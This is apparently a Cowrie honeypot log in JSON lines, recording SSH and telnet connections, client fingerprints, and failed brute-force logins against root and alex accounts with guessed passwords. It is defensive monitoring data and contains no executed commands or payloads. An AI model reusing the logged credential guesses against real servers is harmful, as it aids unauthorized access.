{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:33.639744Z","src_ip":"91.134.240.52","session":"97ad892891c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123456","message":"login attempt [root/test@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:33.942265Z","src_ip":"91.134.240.52","session":"97ad892891c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:35.021844Z","src_ip":"91.134.240.52","session":"97ad892891c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.87267088890076,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:44.728327Z","src_ip":"144.79.218.12","session":"e5cff3acce7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59264,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9595033731a","protocol":"telnet","message":"New connection: 144.79.218.12:59264 (10.17.0.5:23) [session: c9595033731a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:48.707240Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42486,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d7f1582e7c1","protocol":"ssh","message":"New connection: 159.203.92.129:42486 (159.203.135.109:22) [session: 5d7f1582e7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:49.140181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:49.145387Z","src_ip":"159.203.92.129","session":"5d7f1582e7c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:49.150452Z","src_ip":"159.203.92.129","session":"5d7f1582e7c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"111","message":"login attempt [alex/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:49.162707Z","src_ip":"159.203.92.129","session":"5d7f1582e7c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:50.168651Z","src_ip":"159.203.92.129","session":"5d7f1582e7c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.828826665878296,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:31:51.414088Z","src_ip":"144.79.218.12","session":"3d6343c1fafb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":46684,"dst_ip":"10.17.0.5","dst_port":22,"session":"7501880b1537","protocol":"ssh","message":"New connection: 112.217.199.222:46684 (10.17.0.5:22) [session: 7501880b1537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:00.317063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:00.321674Z","src_ip":"112.217.199.222","session":"7501880b1537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:00.531079Z","src_ip":"112.217.199.222","session":"7501880b1537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc258369","message":"login attempt [root/Abc258369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:01.401531Z","src_ip":"112.217.199.222","session":"7501880b1537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:02.612035Z","src_ip":"112.217.199.222","session":"7501880b1537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.524192571640015,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:03.651580Z","src_ip":"144.79.218.12","session":"68b90eb83286","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53578,"dst_ip":"10.17.0.5","dst_port":23,"session":"0577babb956c","protocol":"telnet","message":"New connection: 144.79.218.12:53578 (10.17.0.5:23) [session: 0577babb956c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:06.129597Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":53586,"dst_ip":"10.17.0.5","dst_port":23,"session":"4929ea803ae2","protocol":"telnet","message":"New connection: 144.79.218.12:53586 (10.17.0.5:23) [session: 4929ea803ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:06.514353Z"}
{"eventid":"cowrie.session.closed","duration":36.10930037498474,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:08.179716Z","src_ip":"144.79.218.12","session":"df5f4f8712e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.76152682304382,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:08.278308Z","src_ip":"144.79.218.12","session":"d4e8613be357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":53426,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5395132acbc","protocol":"ssh","message":"New connection: 68.183.236.1:53426 (159.203.135.109:22) [session: d5395132acbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:09.235046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:09.240186Z","src_ip":"68.183.236.1","session":"d5395132acbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:09.486654Z","src_ip":"68.183.236.1","session":"d5395132acbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test","message":"login attempt [root/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:10.498600Z","src_ip":"68.183.236.1","session":"d5395132acbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:11.748485Z","src_ip":"68.183.236.1","session":"d5395132acbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.110.147.56","src_port":51154,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ffaf7cac168","protocol":"ssh","message":"New connection: 222.110.147.56:51154 (10.17.0.5:22) [session: 1ffaf7cac168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:20.827108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:20.831982Z","src_ip":"222.110.147.56","session":"1ffaf7cac168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:21.032636Z","src_ip":"222.110.147.56","session":"1ffaf7cac168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qq@","message":"login attempt [root/123456qq@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:21.865969Z","src_ip":"222.110.147.56","session":"1ffaf7cac168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:23.068511Z","src_ip":"222.110.147.56","session":"1ffaf7cac168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.08429455757141,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:27.791430Z","src_ip":"144.79.218.12","session":"c9595033731a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40534,"dst_ip":"159.203.135.109","dst_port":22,"session":"79cf597292b6","protocol":"ssh","message":"New connection: 159.203.92.129:40534 (159.203.135.109:22) [session: 79cf597292b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:29.902623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:29.907698Z","src_ip":"159.203.92.129","session":"79cf597292b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:29.912941Z","src_ip":"159.203.92.129","session":"79cf597292b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1111","message":"login attempt [alex/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:29.925958Z","src_ip":"159.203.92.129","session":"79cf597292b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:30.955480Z","src_ip":"159.203.92.129","session":"79cf597292b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":37598,"dst_ip":"10.17.0.5","dst_port":23,"session":"04b9e3a793cb","protocol":"telnet","message":"New connection: 144.79.218.12:37598 (10.17.0.5:23) [session: 04b9e3a793cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:38.808085Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":50502,"dst_ip":"10.17.0.5","dst_port":23,"session":"81c0c304b8ad","protocol":"telnet","message":"New connection: 144.79.218.12:50502 (10.17.0.5:23) [session: 81c0c304b8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:43.032897Z"}
{"eventid":"cowrie.session.closed","duration":37.649688482284546,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:43.779156Z","src_ip":"144.79.218.12","session":"0577babb956c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":50514,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2cae8beca92","protocol":"telnet","message":"New connection: 144.79.218.12:50514 (10.17.0.5:23) [session: b2cae8beca92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:44.340266Z"}
{"eventid":"cowrie.session.closed","duration":37.946404457092285,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:44.460475Z","src_ip":"144.79.218.12","session":"4929ea803ae2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":60112,"dst_ip":"159.203.135.109","dst_port":22,"session":"68fb6c48a361","protocol":"ssh","message":"New connection: 152.32.213.101:60112 (159.203.135.109:22) [session: 68fb6c48a361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:50.779386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:50.783922Z","src_ip":"152.32.213.101","session":"68fb6c48a361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:51.003362Z","src_ip":"152.32.213.101","session":"68fb6c48a361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wl123456789","message":"login attempt [root/Wl123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:32:51.895506Z","src_ip":"152.32.213.101","session":"68fb6c48a361","protocol":"ssh"}
